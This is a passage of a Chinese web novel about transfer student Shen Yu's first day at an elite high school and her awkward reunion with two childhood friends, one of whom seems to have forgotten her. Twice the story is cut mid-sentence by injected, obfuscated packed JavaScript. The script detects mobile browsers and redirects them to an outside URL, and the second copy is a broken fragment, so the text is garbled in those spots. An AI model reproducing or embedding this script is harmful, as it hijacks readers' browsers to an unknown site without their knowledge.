想起她开学预习进度还没赶，沈寓只能抓了抓蓬乱的头发，搓搓脸让自己强制开机，随后死尸一般移动到桌子旁。 实验附中是同榆有名的重点中学之一，提前发书的原因想都不用想，就是为了让学生们提前预习的。 沈寓的中考成绩不错，市排第十九，能上她原先地方的省重高。后面办了异地升学手续，线上参加了同榆实验的面试和插班测验，分班结果最后显示是在强基二班。 强基一班和二班的人数是当年考进学校的前一百名随机分配的，第一名去一班，那第二名就分进二班，第三名再去一班，以此类推。 外省升学的学生成绩极个别优异的可以进入这两个班。今年参加插班测验的有六个，除了自己，沈寓依稀记得和她同样进入强基班的还有隔壁省的一个女生，在一班。 为了排除省份的教学和资源差异带来的影响，以及线上测验和面试的误差，校方也有明确要求，异地转校生一学期的成绩都必须排在全校前一百，不然在一学期末后就会被重新刷出去。 相比其他一年才经历分班刷新的，她们的压力明显要稍微大些。 沈寓原先待的城市的教育比起同榆还是差了些，为了不至于开学被大家拉的太远，她只能笨鸟先飞。 4. 碰巧. 孟梧其实早就做好了一切准备，借鉴参考了很多身边同事上高中的孩子，按照人家推荐的给沈寓买好了教辅书和习题资料。 沈寓本身底子不差，对于学习以及自己不感兴趣但又不得不完成的东西，总是追求效率和效益。这让她在学习时很专注，能在短时间里迅速过完足够的内容。 多本书来说她一般会先预习理科，把知识点快速从书里过一遍，再做相应的习题资料巩固。安排好时间偶尔复习，书本上的内容就有了大概的印象。 至于文科，老师的讲解和内容的扩展则更为重要。她会先过一遍课本，语文就先把课文要求背诵的古诗啃几篇，英语看看阅读文，其他的文科就一个个章节慢慢看，画些思维导图辅助理解。 三个星期下来，自学的内容至少应对前一个月的赶课进度是可以的。但沈寓知轻重，知道从书里学的这些只是皮毛，想要应付考试和考过学校里那群各个市重点学校出来的尖子生，还是有些距离的。 但是至少现在还在暑假期间，她玩和学，劳逸结合分的很清。当初辛苦三年得来一次两个月的暑假，这只过了一半，就又投入学习的苦海，能学这些，沈寓自认为，已经很对得起高中了。 至于再细致地深入学习，那是后面努力的事情。 * 时间转眼过去，让沈寓努力的日子也临到了。 上学这天，沈丞和孟梧想要特意推掉工作的琐碎杂物来专心送沈寓上学，却被沈寓一口回绝了。 理由是太过于兴师动众。 “家长会你们前一天不是已经开过了吗？该了解的都了解了。我都这么大一个人，自己上学没啥大不了的。以前初中学校离得远彭叔送我就算了，现在学校离这么近你们还有啥不放心的啊。” 沈寓扒拉着盘里的面包，咬了几口，有点卡着了，便喝着牛奶顺下去。刚咽下去，嘴里还不忘安慰忧心忡忡的沈丞。 厨房里的孟梧跟着附和，“哎哟老沈，寓寓也大了，自己上学就自己上学吧，孩子长大了总要独当一面的。” 实验深蓝色的校服买大了一码，穿在沈寓身上显得有些松垮。 头发被少女随手盘了一个圆润的丸子，还有些没扎上去的垂落在腮边，主人却懒得管了，正专心致志地吃着早饭。 “这不是孩子刚上高中吗？想着能送送她，心里安心点。”沈丞看着沈寓叹了口气，往女儿盘里又夹了一片吐司。 沈寓看了看墙上的挂钟，已经差不多七点十分了。今天是开学的日子，时间就比平常要晚些，老师在家长群里通知八点前到校即可。 看着时间差不多，沈寓随手捞起挂在椅子后面的书包，把盘里的吐司叼在嘴里，边啃着边往外走。 “好了好了，不跟你们说了，我出门上学了。” 迅速换好鞋，沈寓简单和家里人告了别，便三步作两步地直奔地铁口。 今天地铁的人流量就比往日要多了些，沈寓见挤不着位置，便只能站着。 周边的人大多都穿了校服，由于同榆各个学校的校服都大差不差，沈寓定睛研究了很久，才认出很多都是实验的。 刚开学赶去学校的路上遇见校友，莫名的，就犹如吃了定心丸一般，让沈寓本来有些焦躁的内心忽然被抚平。 由于没有手机看，她只能盯着地铁外一闪而过的光影出神。 待到学校后她循着前几个星期探路的记忆，慢慢摸到了二班。此时时间才刚到七点四十，但是班里已经大部分人都到齐了。眼下没有全部空余的位置，她只能就近找了一个女生，挨着她旁边坐下。 “你好。”把书包放下，想着初来乍到，还来得比别人慢，出于礼貌，沈寓向旁边的女生点了点头问好，“我叫沈寓。” 怕对方不知道具体的字，她又补充道，“寓是寓言的寓。” 旁边的女生倒是没想到她会先跟她打招呼，随即笑了起来。她嘴边有两个浅浅的梨涡，新奇的是只在脸一侧，一笑起来就跟着舒展开，看着格外讨喜。 “你好啊，我叫陆婷婷。” “听你口音不像本地的，你是外地来的？” 此话一出，沈寓愣了愣，似乎是没想到对方会这么问，因为她长了十几年来从没被人说过她讲话有口音。 这么……明显吗？难道当初老王把她往死里了宰，一碗面卖到高达五十元高价，就是因为听出来了她是外地人？ 她犹豫地点了点头，“嗯，我是临昱来的。” 想着要不要问问对方是怎么听出来的，一来是为了好融入这边的环境，二来为了不再被当外地人宰客。 “是我……普通话不太标准吗？” 陆婷婷听到她这回复，先是怔了怔，随后开怀大笑，“不不不，就是因为你普通话太标准了。我们这边平翘舌分不太清，刚刚听你介绍你自己，你说沈的时候音很准，我一看就觉得你不太像本地人。” “而且……”陆婷婷上下打量了她一下，“你有点太白了，我们这的天，养不出这样的皮肤。” 同榆的地理位置相较临昱要更偏南些，临昱那边地处江南水乡，确实更养人。而同榆一到夏天就热得出奇，太阳辐射更强些。 对比起来，沈寓的皮肤白里透红，确实跟其他人有些差异。 “噢，这样。”沈寓听明白原因，点点头。 脑子但却不由地想到陈晏宣，那天白皙修长的骨节，黑色短袖下冷白的皮肤的印象还在她脑海里徘徊。 心里嘟囔了几句，那怎么那家伙还这么白？ 陆婷婷很健谈，一打开了话匣子就能滔滔不绝，能从天南聊到海北。而且信息来源也广，跟沈寓分享了不少的小道消息。 比如说某某同榆中考市第一被实验费尽心机捞过来，比如他们班主任听说是个很温柔的政治老师，再比如今年学校领导班子大换…… 班里闹哄哄的，充斥着学生刚上高中时的新奇和热闹。 班前的门被人轻轻敲了敲，随后“嗒嗒”的高跟鞋踩进来，打破了班级的喧闹。 众人的目光朝讲台上聚焦，只见一个长发披肩的女人正站在台前注视着大家，脸上洋溢着笑容。 班级里陷入了寂静，听着老师有什么话要说—— “各位同学们大家好，我叫唐诗然，今后呢就是二班的班主任。”她顿了顿，在黑板上写下自己的名字，“想必大家之前也有些人已经在前几天开的家长会上见过我了，我是教政治的，在高一一年负责大家的政治教学。还请大家多多关照，我们一起携手走过这三年的旅程。” 台下响起稀稀拉拉的掌声。 开学第一天的上午，一般都没有什么正课，主要是班主任交代和安排学生接下来的事宜，已经尽早地把班委定下。 沈寓没什么当班委的想法，整个过程都是心不在焉，盲目从众。看着各岗位哪个竞选的人比较有激情，又或者哪个竞选的人看着性格好，再或者哪个人群众呼声比较高，就在选票上勾下名字。 整个过程下来都是例行公事，沈寓自觉无聊得要命，得亏旁边的陆婷婷边看边reaction，才勉强没困得打哈欠。 “那行，那我们今天入学的班级会议就到这里。”唐诗然把新鲜出炉由众人选举出的班委名单夹进备课本里，忽然想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138926|180389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到什么，视线在班级里扫视了一圈。 “那个…沈寓同学出来一下，我找你说点事。其他同学就自行在教室里待着，要等到十一点半之后才能离开校园，期间可以出去上厕所。刚刚选出的班委可以及时上任了啊，注意管一下班级纪律，别太吵闹。” 沈寓正和陆婷婷聊着刚刚选举的事情，眼下忽然被点名，脸上的表情不由僵了一瞬，有些茫然地朝门口看去。 “……”啥玩意？ 临走前下意识和旁边的陆婷婷对视了一眼，见陆婷婷也是一脸懵逼，无奈之下她只能硬着头皮跟在唐诗然身后走去办公室。 办公室里坐着大多都是任课老师和刚刚结束会议的班主任。 唐诗然的位子在靠窗的高中政治组。 她在位置上坐下，捞起桌上沈寓的入学资料看了看，对了一下脸。 面前的女孩脸色僵硬，被盯得有些不知所措。 唐诗然反应过来面前的沈寓有些拘谨，不由笑了笑示意她找位置坐，“来，坐。” “你是临昱来的啊？那是个好地方。” 沈寓点点头，乖巧的样子让每个老师都挑不出错处。随手拉了旁边一张椅子坐下，听着唐诗然说话。 “你应该知道吧？你和一班的一个女生是咱们学校今年外招的学生中唯二进入强基班的。但是你们压力可能也比较大，要保证这一个学期的排名都在校前一百。” 这些事情虽然沈寓早都已经知道了，但还是边听边点头。 唐诗然接着说：“刚回到同榆，应该还有很多教学方面的不适应，这边教学环境相比临昱可能要卷些。你要是在后面上课的时候有哪些地方跟不上就跟老师说，我们这个学期主打就是稳扎稳打。” “不过我看你在原先的城市成绩也很不错，老师相信你没什么问题的。” 沈寓继续跟着点头，还不忘配合地笑笑。 情绪价值给满。 这不仅让唐诗然看着也身心舒畅，旁边的别班政治老师也跟着打趣道，“小唐，你这学生也太乖了吧，羡慕。我们班男生多的要命，这个年纪的男生全是皮猴子，我都不敢想我后面的日子要怎么过了。” “就是啊，班里还是女生多好管点，乖巧懂事，跟带了一堆女儿一样。” “……” 这话说的沈寓一阵赧然，唐诗然倒是颇为受用，回了几句后又笑着和沈寓说话，“那行，除了这些就没什么事了，小寓你先回班里吧。” 称呼变了。 只是短短几句谈话，却似乎无形拉近了师生俩的距离。沈寓只觉得这个老师看着和流言里差不多，人热情随和，而且很心细。 她继续维持着刚刚的人设，跟老师礼貌地道了个别，随即准备站起身出门。 忽听到不远处传来一阵浑厚中气十足的声音，“班长，待会回去的时候把陈晏宣那小子和柯苓给我叫过来一下。” 一个男生逃命似的从办公室里逃出来，嘴里却不敢不应，“得嘞老卢，马上就把人给你摇过来。” 说着还往后招招手。 男生由于跑得急，又没看路，冲出门的时候不小心撞了一下也正准备出门的沈寓。见面前的女孩子怔在原地，他连忙急急道了一声歉。 然后继续朝前跑，“实在不好意思啊同学，我赶趟呢。” 沈寓僵在门口，不知作何动作。脑子里面回荡的不是刚刚男生的道歉，而是那道声音。 叫陈晏宣那小子过来一下。 陈晏宣？ 哦，陈晏宣。 啊？陈晏宣？！ 是她想的那个陈晏宣？？？ 5. 无缘. 这个信息的爆炸性程度对于她来说过大，以至于反应了好久，她才整个人被抽干一般回到教室。 路过二班后门拐角，她愣愣地正准备走进去时，余光中忽瞥到前方迎面走过来两人。 这一层是专门为强基的两个班和教师办公室设置的，二班前面，那就是一班。 几乎是下意识的，沈寓朝前方看去。 果不其然，前几天被她抢了面的那人正走在一个女生后面。 少年身高优越，站在人群里很显眼，换上了校服后板板正正的，身材修长，倒是没有了穿着黑色t恤时的傲气。却偏偏双手插着兜，那没完全扣住的领口扣子，脸上有些不耐的神情，让人不敢靠近。 靠，还真是。 沈寓心里不由倒吸了一口气。 这算缘分匪浅吗？ 可能算吧。 少男少女一前一后与沈寓擦肩而过。 女生沈寓倒是有些眼熟，刚刚听到那老师说的名字叫柯苓，在脑海里搜刮了一遍，才有了印象。好像就是和她一起从外省招进强基班的女生，之前网络会议面试的时候有过一面之缘。 看到陈晏宣头也没回，即使从身边路过也没有分给她一点眼神的时候，沈寓终于是认命了。 得，这人还真是不认识她了。 她默默无声叹了口气，重新回到座位。手托着腮帮子看着前方，内心怅然，说不出来的涩。 难道真和她姑姑说的一样，她这十年来变化太大了？ 但她不是也告诉他名字了，怎么还能记不起来呢？ 除非只有一种可能，就是在陈晏宣心里她没那么重要。 可是这十年来她都还记得他呢，还偶尔会想起他们三人小分队。这就不记得她了，这也太不公平了吧！负心汉吗这不是！！ 几乎越想越气，搭在桌子上的手都不自觉攥紧闷闷捶了一下桌面。 等过了一会儿，她正想把头侧躺压着手臂放空时，突然发觉身边有些不对劲，只见有不少目光正朝着她这个方向望来。 “？” 但又看着不像是对着她，倒像是对着另一个对象—— 窗？ 视线几乎下意识地和思绪同步转移。 “……？” 她有些奇怪，正欲偏头看看发生了什么，顺便和陆婷婷搭话。却见她人不知道什么时候已经快将半个身子探出窗外了，聚精会神的，不知道在看什么。 看着她探头探脑的样子，沈寓疑惑道，“看什么呢这么认真。” 但莫名不知为何，看着她看的方向，沈寓心里有股直觉。 指向了一副长得十分招摇的脸。 果不其然，陆婷婷转头回来兴奋地看着她，嘴里振振有词地说着，“陈晏宣，刚刚经过那个，沈寓你看着没？” “……”这名字像晴天霹雳一样劈在沈寓头上。 她就知道。 “你还记得我之前和你说过那个被学校挖来的市第一没有？就是他。” 陆婷婷完美立住起她万事通的人设。 “刚刚你被叫去办公室谈话的时候，我隔壁班的姐妹就偷溜过来和我说那人有多帅多帅。我还寻思着能有多帅呢，好家伙，刚刚见了一眼，这哥们长的是真不错啊！” 谈及陈晏宣的相貌，沈寓并没有多吃惊，他能长成什么样，当初在小学的时候就可以窥见一角。 三人一起走时，经常有不知名的小朋友横道跑过来拉他们去玩沙包，能有这份殊荣都是他俩沾他的光。 见面前的沈寓没有多惊讶，陆婷婷又继续输出，“就这么会儿时间，一班出了个长得又帅成绩又好的市第一的消息都已经快传遍我们这层楼了。” 沈寓仍无动于衷，这下陆婷婷吃瘪了。 “……” “不会吧？沈寓你年纪轻轻就这么不贪美色清心寡欲了啊，美男舆论都毫不在意。” “难道你以前就听说过他了？也不对啊，你不是刚转学来的吗？” 沈寓将头偏回来收拾着桌肚里的书，听着旁边陆婷婷的自言自语，手上的动作顿了一下。 何止听说过啊，那是玩了一年的铁哥们交情。 鉴于陈晏宣现在对她翻脸不认人的态度，沈寓最后还是没有将实情说出来，“不认识，不过挺帅的。” “看吧我就说，这哥们长得也不算太小众的审美。”陆婷婷满意地将身子重新钻到窗旁，继续探脑看外面的状况。 还没等她开始观察，不远处一道声音忽然以迅雷不及掩耳之势响彻整个走廊。 距离虽远，震慑力却惊人。 中老年粗壮浑厚还带点口音的声音几乎整个一班二班都能听到。 “你们一班二班都探头探脑的在干什么！现在到下课的时间了吗？领完书不会好好预习是吧？” “你们自己看看你们现在是什么样子，有点重点班的样子吗？！都给我滚回去自习！” 众人皆被吓得一震，连忙将头和身子都缩回来。 沈寓心里头清楚，陈晏宣虽然长的好，但是也不至于兴师动众到引得众人围观。 无非就是对比效应，刚来学校大家的心都收不回来，总想找点新奇的事情，于是再无聊的八卦或者桃色新闻也都会被津津乐道。 就算是万里挑一的省里出来的尖子生也不为过。 不过比起帅，她更相信是市第一的头衔比较吸引人。毕竟强者总是更容易欣赏强者。 陆婷婷动作快，马上就钻回来驾轻就熟地拎起旁边一本书随便翻了几页就开始看。 等巡查的声音渐渐远了之后，她才捂着胸口开始大喘气，“我靠，这老卢，吓死我了。” “老卢？”沈寓想了想后回忆道，“你之前给我提过的我们现在的年级主任？” “对！就是他！卢裕。他上一届刚带了六个省前十出来，现在正是威风凛凛上任三把火的时候呢。” “那成绩还挺不错的。”沈寓顺着答应。 当初孟梧找了很多关系才让她参加了同榆实验附中的面试，看重的就是实验的高考高分录取率。 “那肯定啊，实验也算省里名校top，平常能争的也就只有省中和文星，其他的学校都不在话下。”说起这个， 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“啊，谢谢。”沈寓连忙接过去，感激道。 “不用，先走了。”柯苓又朝她笑了笑，随后跟上去，对着前面走的很快的人喊道，“喂，陈晏宣你等等我。” 身边的陆婷婷闻着味过来，“哟？这两人关系看着挺不错的？男帅女美。等等，我靠，他俩不会有情况吧？” 青春期的少男少女心理很直接很青涩，正处于情感的朦胧阶段。但凡看到两个走的近的男女，总会下意识地认为两人谈恋爱，莫名其妙的桃色新闻就此多出一茬又一茬。 从二人的话语中，沈寓似乎也慢半拍地意识到二人似乎关系很好这一点。 听完陆婷婷的猜测，内心大震，眼睛瞪得很大，“不知道啊。” 这倒是她真不知道的。 时光荏苒，早已物是人非，就譬如陈晏宣这十年来发生的故事和遇到的人都是她不为所知的。 他们两个人就像曾经短暂相交过的直线，有了交汇点。但又很快慢慢移动，重新回到彼此的轨道，几近平行。然后，或许再无相交的可能性。 “……” 这下沈寓才真正意识到，原来时间是真的快将一切消磨了。 她又再次叹了口气，将文件袋放入书包里。 相比刚刚的叹息，这次是有点彻底的无奈和落寞。 本整理好的书包被放进去的文件袋忽然占去些空间，莫名挤出了几个凹凸不平的角，沈寓轻轻按了下将其恢复平整。 正如将波涛汹涌的思绪一点一点重新归为平静。 算了，人都把她忘了，那还能咋整？ 彼时下课铃正好响起来。 四周拥挤而出的人群，桌子移动的刺耳声与喧哗声不绝于耳，把她从思绪拉回到现实中，找到接下来要做的事情。 不管了，爱咋样咋样吧，现在该吃午饭了。 6. 兄弟. 下课铃一响，教室里一时所有人都在朝门口涌去。沈寓拎起书包，拉开椅子也正想起身，忽然听到陆婷婷喊她。 “沈寓，你干嘛去？” 闻言沈寓愣了愣神，有些不知所以，“回、回家啊。” 陆婷婷同样和她大眼瞪小眼，“回家？你确定吗？现在十二点半，待会下午上课的时候是一点四十。你……你赶得回来吗？” 不知是不是地域缘故，其实整个临昱这一块，都不太有午睡的习惯。入乡随俗，这边的学校安排的中午休息时间也大多很短暂，基本是吃完午饭，稍作休整一番后便又开始了上课。正因此，大家都会默认有个习惯，中午吃完饭后回教室小憩一会儿，不回家。 这个习惯潜移默化从小学就开始跟着了，大家都习以为常。眼下看到沈寓不合群地背着书包，一时有些稀奇。 听到这话的沈寓才猛然反应过来，她现在不在临昱。 临昱的学校中午的时间还是给的充足的，回家吃饭午睡是常态。在那边生活了十几年，来到同榆一时间还没适应。 “……差点忘了。”好一会儿，沈寓才后知后觉地憋出几个字。 门外窗户边站着的是陆婷婷好友，听到沈寓的回答不由得笑出声来，“婷婷，你这同桌是新来的吗？感觉看着眼生。” 实验和省中这些重点高中大多是由本校或者其他重点初中升上来的，名校就这么几个，能上重点班的更是寥寥无几，是以同学彼此之间认识打个照面并不是什么稀奇的事。 陆婷婷边捞起外套边往外走，“对，临昱来的姑娘。”她边走还不边不忘提醒着沈寓，“食堂的饭都不咋好吃，门口的小吃摊倒是还行。只是中午这个点正是最火爆的阶段，沈寓你要是想吃到好的就赶紧动身，我先走了，来不及了。” 很快陆婷婷的身影便消失在班级里，教室里空荡荡的，一时间只剩下沈寓一个人。 单背着的书包因着她的倾身，从肩膀上滑落瘫在了椅子上。沈寓拉开链子在夹层仔细搜索了一番，最终认命。 “……” 得，没带现金，这手机也没带来。 要是出去，那是真要吃霸王餐了。 她几乎真是忘了中午休息时间这一茬，身上现在就只带了个公交卡。 琢磨了会儿，沈寓还是决定回家一趟。大不了吃完就马上回来，这时间应该也还够用，正好回去拿拿手机。刚刚听陆婷婷和后桌说话，她才知道原来实验是给带手机的，只是手机会被放在后面的个人柜中，等到中午和晚上才可以拿出来。 手机在身上，处理各种紧急事务还安心点。 一不做二不休，沈寓背起书包夺门而出，准备以最快的速度冲回家里。 谁料祸不单行，刚一转弯就迎面撞上一个人，对方约莫比她高出一个头，导致撞上去的时候她的头准确无误地磕在了对方肩膀上。 坚硬的肩胛骨对上坚强的头颅，一时间不知道是谁占上风，但刹那间只闻两句国粹同时响彻走廊空荡荡的上空。 “我靠！” “我艹谁啊！走路不看路啊！” 沈寓捂着额头，倒吸一口凉气。刚刚那一下可是真的撞得结结实实，被弹得往后倒了几步都还在眼冒金星，缓了好一阵才睁开眼看向对方。 对面显然也好不到哪里，正摩挲着肩膀哎哟哎哟地叫唤。他手上还拿着几袋吃的，白色的塑料袋被热气蒸腾着起了一层白雾，因着他的动作整个袋子如胶似漆般贴上他的前胸，又把他烫得龇牙咧嘴，“我靠我靠，烫死我了。” “不是，你谁啊！怎么路都不看就往外冲！” 沈寓这才看清楚，对面是个男生，穿着实验校服，估计是一个年级的。 “我……不、不好意思。”自知理亏，沈寓没太敢呛回去，道歉的话语随即脱口而出，默默承受着对方的怒火。 “……” “你。”看着对方低头低得如此不假思索，男生满腔的怒火忽然就窝囊地梗在那，想要发泄却发泄不出来，“唉算了。” 道歉倒得还挺麻溜。 有苦说不出，虽然是她的错，但人家一个女生，还都已经先道歉了，他要是再揪着不放倒显着他没绅士风度了。 “下次走路小心点就好了。”男生理了理头发，大义慷慨道，话毕还不忘问问对方情况，“对了你疼吗？我肩膀还挺硬的，估计你迎面撞上去也挺疼的。” 对方怒火来得快去得也快，突如其来的关心整得沈寓丈二和尚摸不着头闹，懵圈道，“啊？哦我还好，没啥事。” 她倒是没故作坚强，刚刚确实疼，但也就那一瞬间，过后揉揉缓缓就好多了。 “那就行，走了，下次注意点。”男生见她没什么事，准备绕道走开，却不知看见了什么人，弹簧似蓦然朝对方招起手，“喂陈晏宣，我在这！” “陈晏宣我跟你说，你知道老王店里多挤吗？我求爷爷告奶奶才能就着他们队伍里那点空隙钻进去，要不是我，你今天午餐……”他的声音在后方响起。 听到这个名字沈寓愣了愣，两个绑定的名字下意识出现在脑海。她登时睁大眼睛，不可置信道，“等等，你……” “孟云凡？？” 语音刚落，刚侧身经过的男生脚步蓦地顿了顿，有些莫名其妙，偏头看向她道，“？你怎么知道我名字？” 来不及想这么多，沈寓自顾自惊喜喊道，“饭哥！！！” 饭哥和芋头是小时候三人组沈寓和孟云凡互相给对方的称呼。因沈寓谐音芋，还爱吃芋头，而孟云凡一餐能吃三四碗米饭，著有饭桶之称，才故而得名。 两人当时还得意洋洋地给彼此取了口号，芋头配饭，好吃好看。 待听到这个绰号，震惊的对象迅雷不及掩耳之势地陡转成了那个男生。他一脸惊诧，被吓得有些口吃，声音都还有些颤抖。 “你、你……” “对，对，我——” 沈寓双眸荡漾着亮光，正满怀期待地看向他，等着他说出自己名字。 却未料还没来得及继续期待，对面一句话顿时让她熄了火，“你，你哪来的，你怎么知道我江湖名号。” 迎来的不是听到她名字时的欣喜、悦耳，而是对方看贼一般看着自己。 我这绰号很隐秘的，一般人不知道的 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对方后知后觉的暗号于她而言此刻就是讽刺，让她不禁开始感慨世事难料，人间沧桑，造化弄人…… 正准备仰天哀叹，谁料忽然被卷进一个巨大的拥抱。 猝不及防，没有任何预兆，沈寓再次被撞得一懵。 “！” “我超！我超！真他妈是你啊沈芋头！”得到沈寓的回答，孟云凡终于确定了心中所想，难抑激动，手中吃的都顾不得了，直接一股脑朝沈寓冲来，双手将沈寓搂了个完全。 “不是，你什么时候回来的？我超了，这都多少年没见了，你个背信弃义的家伙这些年跑哪去了！”他抱得紧，那装着吃的的塑料袋还贴着沈寓后颈，沈寓被烫得脖子一缩，想推开他，却怎料对方一股子牛劲，咋都推不开。 “我靠，饭桶你快给我勒死了。”他几乎上半身全压在沈寓身上，沈寓感觉快要窒息了。 对方却还沉浸在好友重逢的欣喜若狂之中，一把鼻涕一把泪地哭得泪如雨下。 “？？？”反应这么大？ 沈寓被勒得仰头望天，两眼一翻差点就要过去了。正想再使把劲把身上这人推开，忽感觉身上一松，身上的人被扯得往后退了几步。 “抱够没？抱够了把午饭给我，我饿了。” 那道熟悉的清冽嗓音在前方响起，沈寓回过神来，才发现陈晏宣不知道什么时候已经过来了。就是他把孟云凡扯开的，不然再被扯着，沈寓真觉得要被他抱死了。 孟云凡眼眶还红着，把东西全塞在陈晏宣手里，就又朝沈寓奔过去。 “我超了，沈寓你个没良心的，这都多少年了。当初说啥哥俩好，情比金坚的山盟海誓，都是假的，你就是个负心汉！骗子！” 沈寓为他这倒打一耙的能力感到佩服，一时间如鲠在喉。 “……” 刚刚到底是谁先把对方认出来的。 7. 讨厌. 一番纠缠后，孟云凡总算在陈晏宣和沈寓两人无语注视下把情绪整理好。只是人还是抱着沈寓不肯松手，生怕人又给跑了。 他像考拉一样黏在身上，沈寓推了几下没推掉，就任由他抱着了。 “不哭了？” “我本来就没哭。”孟云凡打死不愿承认自己刚刚白痴的样子。 他忽然想到什么，扭头朝陈晏宣那边看去，“陈晏宣！你是不是早就知道芋头回来了？这你也瞒我，你是不是人啊！” 沈寓面朝的方向就是陈晏宣站着的方位，是以不用扭头也可以将对方的神情动作全都尽收眼底。 对方只是慢条斯理地把属于自己的那份午餐从袋子里拿出来，然后将剩下的放在走廊边的护栏上，闻言悠悠地瞥了孟云凡一眼，“不知道，不记得了。”说罢便转身回到了班级。 因为有了前面的遭遇，沈寓对他这回复已经见怪不怪了，倒是孟云凡反应颇为激烈，明明刚刚还在跟人哥俩好，现在转头就指责对方相较之下更没良心。 待问了一番，孟云凡才知道沈寓是因为没带钱和手机才准备回家一趟。他这回倒是大气，直接把自己那一份分了一半给沈寓果腹。 所幸老王给的分量足，吃完竟也没有太饿。 接着他又脸皮厚地溜到人二班，拉张椅子坐下就是开始跟沈寓聊家长里短，把她当初为什么不告而别的原因了解了个大概。 直到人二班的学生陆陆续续地开始回来，他这才心满意足地离开。 “芋头！晚上下晚修后我拉着陈晏宣在楼下等你，不行了，我一想到我们三个又要再续前缘，一起上下学我就感到激动。陈晏宣那死人，竟然不记得你了！我打也要给他打到记得！” 少年人亢奋昂扬的声音消失在班级门口，校服被风卷起，意气风发。 这画面与多年前三人一起约饭的画面莫名重叠，也是这样你等我，我等你，穿着校服，并肩而走。 看着看着，沈寓鼻中忽嗤出一口气，莫名跟着笑起来。 其实，好像也没变太多？ 中午的时间确实短暂，约莫一点十分左右，班里的同学就回来了个大概。大家把外套脱了摊在桌子上，就着当枕头便开始休息。等眯个二十分钟，便又精神抖擞地拿出书开始上课。 沈寓还有些不适应，再加上同榆天气热，容易犯困，下午那几节数学和化学课她都是迷迷瞪瞪过去的。 在此时她才开始感慨她妈的先见之明，提前让她预习高中的课程，不然就今天她这样，她都不知道要被人家甩开几条街。 对于实验教程进度快，作业体量大这些消息她一直早有耳闻，可今日真正体验之后，她才终于感同身受了那些已经毕业的学长学姐的哀嚎。 两节课便可以过掉半个多章节，老师最常放在嘴边的就是“这些你们应该都有了解过”，然后就是布置作业和不断发下来的自印卷。 待到晚修的时候，沈寓看着桌子上垒的六张卷子，嘴角莫名抽了抽。 不由看向旁边的陆婷婷，“这些…一个晚修全写完？” 晚修就三个小时，数化六张卷子，这怎么安排都感觉写不完。 其实说三小时还是往多了说的，最后一小时还有当堂小测要做。 陆婷婷没有抬头，手还在白纸上飞速地算着计算题，算出来后边填写答案边回复沈寓，“你课上没做吗？大家课上边听边做已经刷了两三张了。” 沈寓一时语塞。 该怎么解释她课上打瞌睡去了…… 她抽出几张卷子看，扫了一眼题目。其实大部分是基础题，老师课上强调的，只要听了基本能写得出来，应该就是给大家强化巩固用的。 沈寓正准备想随便写写敷衍了事，忽然想到什么，再次扭头问道，“婷婷，这些你们真的都学过吗？” 下午老师上课时说的话即使半梦半醒间沈寓仍是听得真切，不禁有些好奇是不是真的。 沈寓她很确定这些都是新东西，至少初中没学过。他们能一边做到上课听讲一边刷题，至少是要先了解一番的。 陆婷婷停下笔思考了一下，“那倒也不是，大家应该都是自学的。” “暑假的时候提前预习吗？” 陆婷婷摇头道，“可能有些人初中就学了。” “我记得那会儿我们班有几个神人，初中的题做腻了觉得没有挑战性，就开始研究高中数学啥的。中考前一个月，我们还做着模考题呢，他们就已经在做高中的练习题了。” “……” 闻言沈寓陷入了沉默，她低头看了一下卷子，又看了天花板，然后默默重新把笔握起开始写卷子。 她到底有什么理由在这里偷奸耍滑。 天下英雄如过江之鲫，这实验里，还真是一群天才。 卧虎藏龙。 _ 沈寓咬着牙快速刷着卷子，连晚课的休息时间都没放过，却仍竭尽全力还是无法战胜。临到小测前，还有一张卷子没写完，她只能无奈塞进书包准备回去写。 小测虽题量少，但比卷子的题难度还要深点。 当堂写当堂对，最后十分钟由课代表上讲台开白板对答案，对完答案自行批改后便可以提前离开了。 沈寓看着白板对着打了几个勾，在一道做出来答案但是对步骤有些不太确定的题上画了个问号，便开始收拾书包，准备起身离开。 此时的晚修下课铃才刚刚打响，可环顾四周，班里同学已经走得七七八八了。 沈寓边背着书包边往外走，步子沉重得像腿灌了铅。大脑因为长时间处于高强度的运转，现在已经罢工，麻木地放空，不知神游到了何处。 “……” 累，全身心的累。 这是沈寓第一次觉得上学原来会这么累。 晚间的风从门口和窗户不断灌进来，尚有劲头地把衣服头发全带着往后吹，像是要把晚间下课，带着一身疲累的学生给吹清醒。 一道声音夹杂其中，混着风将沈寓拉回现实。 “喂！芋头，这！” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一模一样的开解和说辞，沈寓兀自叹了口气，脸还跟苦瓜一样皱着。孟云凡看着好兄弟一脸苦大仇深的，心里也不太是滋味，摸摸自个儿脑袋又道，“哎呀，又不是只有你一个人这样。陈晏宣他们班不是也有个叫柯苓的吗？” “那人之前初中是一中的，和老陈同班。只是初二转走了，后面中考转回来，家长也是跟学校老师打了个招呼说可能会有些跟不上。这不，他们班班主任就把老陈派过去了。” 沈寓愣了愣，目光探向前面走得很快，不知不觉已经和他们已经拉开了一段距离的陈晏宣。 如此泾渭分明，像是不想和他们扯上任何瓜葛。 下晚修后人流量很大，三三两两的结伴而行，不断从他们中间穿插而过。少年的身影潜藏于人潮与夜幕中，时而露出，时而消融于月色，就像沈寓琢磨不透他的心思一般。 这人，真把她忘了？可是看着陌生人的态度也不应该这么充满敌意啊。 难不成还在记恨她把他面吃了的事情，不能吧，这么小气？ 不知道什么时候，沈寓的心思已经跑题了。 身旁的孟云凡还在喋喋不休，想着多说些安慰她的话让她心情好点，却没成想沈寓忽然没头没脑地冒出了一句不相干的。 “饭桶，你说陈晏宣是不是讨厌我？” 8. 主动. 对于这个问题，孟云凡支支吾吾半天没有答案，沈寓自然也没有任何头绪。 但沈寓总觉得陈晏宣讨厌她这个可能性要更大些。 